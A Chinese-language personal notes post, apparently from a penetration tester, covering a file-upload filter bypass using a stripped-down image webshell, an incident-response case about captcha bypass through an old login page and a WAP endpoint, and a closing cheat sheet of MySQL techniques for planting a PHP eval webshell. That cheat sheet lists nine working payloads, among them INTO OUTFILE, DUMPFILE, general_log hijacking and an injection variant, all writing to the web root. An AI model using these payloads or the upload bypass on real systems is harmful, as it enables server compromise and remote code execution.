這段時間遇到比較好玩的,大概提幾點吧,怕自己忘了。
上傳文件,能任意上傳,但是解釋失敗,報錯編譯失敗?
過濾找到規則,是檢驗文件頭。這個時候,把圖片馬除文件頭以外的內容全刪除,有奇效。
getshell
這是一個大型系統的通殺。自己體會領悟吧
對了,再提一點,有些時候報錯,不是因爲你馬有問題,可能是你做昏頭了,
忘了是linux還是win,
cmd=ls,win能不報錯嗎?
再說個應急響應的。
剛親眼見證大佬20分鐘遠程解決4w的應急響應任務。
客戶情況是有一個ip登陸了好幾個賬戶,存在異常提取金錢的操作,登陸時繞過了驗證碼。
第一,拿到訪問日誌,甲方數據庫內存的登錄記錄。
甲方給了那個IP的所有日誌。
先找到login頁面的登陸,發現並沒有爆破的跡象。
訪問第一個login頁面,顯示404。
通過詢問甲方得知,該頁面登陸不需要手機驗證碼,甲方已於之前下線該頁面。
但之後還存在黑客的持續訪問。
詢問下線時間,定位時間點,翻閱日誌。
通過甲方提供的登陸時間表,尋找日誌中的登陸記錄。
在後續的日誌發現一個有問題的/gateway/目錄的api調用,
繼續跟進,訪問該頁面,返回用戶session_token。
甲方表示,該處session_token並不能用於登陸,
而且該處api調用需要用到私鑰,私鑰只有兩個人能夠調用。
綜上,排除冒用token可能,懷疑個人用戶信息密碼泄露,並非本身程序導致。
繼續翻閱日誌,發現入侵者對文件目錄十分熟悉,懷疑代碼泄露
日誌無任何爆破痕跡,入侵者能直接訪問任何目錄,且完美跟上鍊接後所需要的參數。
通過和甲方溝通,基本確定代碼泄露。
後面運維表示有天下午的登陸日誌沒有記載,
不管是wap端還是pc段均無記載。
我們在翻閱了nginx原始日誌,tomcat日誌,遠程登陸查看主機情況後都無異常
開始看nginx日誌時,對應時間點有個myaccount的訪問,而這個訪問是需要登陸的,
我覺得是這個地方的登陸導致了系統登錄日誌上出現記錄,
大佬覺得不是,需要查看具體代碼邏輯才能確認,
正準備查看代碼,進行分析時,
甲方運維突然發消息,是他們把wap端的日誌遺漏了一部分,
日誌內容是能和登陸記錄完全匹配的。
這個甲方運維可以祭天了。。。
甲方仍有疑問,因爲wap端同樣沒有手機驗證碼登陸,
這個,,,wap端不發送captchaCode參數,服務端就不進行校驗。。。
至此,此次應急結束。
這算是真實接觸應急的第一個案例,這條路真的很長,需要靜下心來慢慢的走下去
插一個小插曲,怕自己忘了
# mysql拿webshell總結
1、select '<?php eval($_POST[jumbo]) ?>' into outfile '/var/www/jumbo.php';
2、select '<?php eval($_POST[jumbo]) ?>' into dumpfile '/var/www/jumbo.php';
3、Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[jumbo]) ?>');Select cmd from temp into out file '/var/www/jumbo.php';Drop TABLE IF EXISTS temp;
4、phpmyadmin導入.sql.zip
5、source /tmp/jumbo.sql
6、mysql -uuser -ppasswd -e "select '<?php eval($_POST[jumbo]) ?>' into outfile '/var/www/jumbo.php'"
7、tee /var/www/jumbo.php;select '<?php eval($_POST[jumbo]) ?>';
8、set global general_log=on;set global general_log_file='/var/www/jumbo.php';select '<?php eval($_POST[jumbo]) ?>';
9、aaa'into outfile '/var/www/jumbo.php' fields terminated by '<?php eval($_POST[jumbo]) ?>'#
10、計劃任務、啓動項
11、udf
12、mof